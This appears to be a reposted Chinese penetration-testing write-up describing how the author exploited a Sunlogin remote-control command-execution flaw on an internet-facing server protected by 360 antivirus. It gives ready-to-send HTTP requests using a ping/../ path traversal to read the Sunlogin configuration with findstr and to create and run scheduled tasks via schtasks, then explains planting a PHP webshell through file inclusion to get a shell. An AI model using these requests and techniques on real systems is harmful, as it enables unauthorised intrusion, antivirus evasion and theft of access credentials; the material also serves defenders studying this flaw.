点击上方蓝字关注我们
一、背景
在做攻防项目的时候发现了一个外网的向日葵命令执行
但由于存在杀软,无法执行命令
下面就来说一下我是如何绕过杀软拿到shell的
二、测试
2.1 本地环境调试
自己搭了一个虚拟机,也是存在漏洞的向日葵命令执行,环境配置和目标一样,但没装360(后面会说是如何获得目标系统信息的)
开始测试,发现
-
failed,error 5
:表示命令执行失败,其实就是杀软拦了
-
failed,error 2
:表示命令不存在
2.2 了解向日葵漏洞
首先我通过向日葵和杀软允许的ping
命令判断确认是存在命令执行漏洞的
2.3 然后尝试绕过杀软
-
通过网上搜索各种文章,晓得是利用向日葵不禁止
ping
命令,然后通过../
进行目录穿越来执行任意命令的。 -
目标机器上的杀软实际上是禁止调用
cmd.exe
和powershell.exe
等危险的进程,其他exe程序并没有禁止 -
所以我们可以利用
C:/Windows/System32/
或C:/Windows/SysWOW64/
目录中的exe文件,来进行信息收集
2.4 目标机器信息收集
利用systeminfo.exe
来获得操作系统信息:Windows Server 2008。
利用netstat.exe
来获得网络状态信息
利用tasklist.exe
来获得进程信息,发现存在360全家桶,命令执行就是他拦截的
利用ipconfig.exe
获得ip信息
利用arp.exe
获得内网其他IP
利用net.exe
获得用户信息
2.5 实现文件读取,读取向日葵配置文件
既然已经可以执行部分命令了,首先我的思路是利用文件读取的命令,直接读取向日葵配置文件,利用配置文件中的fastcode和密码直接连接向日葵。
windows机器上查看文件是使用type
命令,但并不存在type.exe
所以如何读取文件内容便是个问题。上网搜索,网上说用wmic
可以实现列磁盘和文件读取写入等操作
wmic logicaldisk get caption,name
很明显,wmic
被拦截了,无法使用
此时我又想到了windows用来进行字符串匹配的findstr
命令。看了一下说明,发现是支持正则的,那我直接一个.
岂不是可以匹配所有,变相的进行文件读取。。。
本地测试了一下,确实可以
然后就是目标系统上获得向日葵的配置文件了,不同版本向日葵的配置文件位置可能不一样
GET /check?cmd=ping/../findstr%20.%20"C:Program%20Files%20(x86)OraySunLoginSunloginClientconfig.ini" HTTP/1.1
Host: target host
Connection: Close
Cookie: CID=9VIoJqZNnRo0eCnhJ6xg7U4j0uU16YRP
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36
万万没想到的是,目标系统上的向日葵用登陆了个人账号,并且没开fastcode登录,也就不能密码解密后直接连Orz。
2.6 计划任务命令执行(当前已拦截)
既然无法使用fastcode直接远程向日葵了,那只能去找其他路子,我想到了计划任务。
本地尝试使用at
添加执行计划任务,但发现计划任务添加成功却没有执行
连个最简单的计算器都无法执行。。。
后面搜索才知道,Windows Server 2008中,已使用schtasks
命令替换at
命令
然后本地尝试使用计划任务来写文件
# 创建计划任务
GET /check?cmd=ping/../schtasks+/create+/tn+aa1+/sc+minute+/mo+1++/tr+"cmd+/c+echo+^<?php+phpinfo();?^>+>+C:UserszzDesktopindec.php"+/ru+system+/f HTTP/1.1
Host: 192.168.85.183:49203
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:52.0) Gecko/20100101 Firefox/52.0
Cookie: CID=dmPqDgSa8jOYgp1Iu1U7l1HbRTVJwZL3
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
# 执行计划任务
GET /check?cmd=ping/../schtasks+/run+/i+/tn+aa1 HTTP/1.1
Host: 192.168.85.183:49203
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:52.0) Gecko/20100101 Firefox/52.0
Cookie: CID=dmPqDgSa8jOYgp1Iu1U7l1HbRTVJwZL3
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
本地测试计划任务可以成功执行。然后就是在目标机器上复现了。目标网站是存在web的,因此可以直接写webshell
2.7 实战利用
首先需要找到网站的物理路径,这里利用报错得到了物理路径(网站关了,当时没有截图)
然后就是根据泄露的物理路径,写入计划任务
-
最先尝试的是直接写phpinfo,可以写入,并且直接显示phpinfo信息;
-
然后尝试写入简单的php一句话木马,发现写入不成功;
-
最后发现可以利用文件包含,先写一个
abc.txt
,里面放入php一句话木马,然后写入一个abc.php
,直接包含abc.txt
即可。
然后是执行(这里虽然返回的是「failed,error 5」,但实际上等待几分钟后,就会发现已经执行了)
然后等待几分钟,访问创建的文件,文件成功创建
利用这种方式,成功拿到了shell
三、总结
虽然说,向日葵软件一般情况下很少遇到,由于运维比较懒,没有更新最新版本的话,就算电脑上装了全家桶也无济于事。
利用时间:2022年5月19日
end
原文始发于微信公众号(灼剑安全团队):网络攻防|一次实战中的向日葵 RCE Bypass 360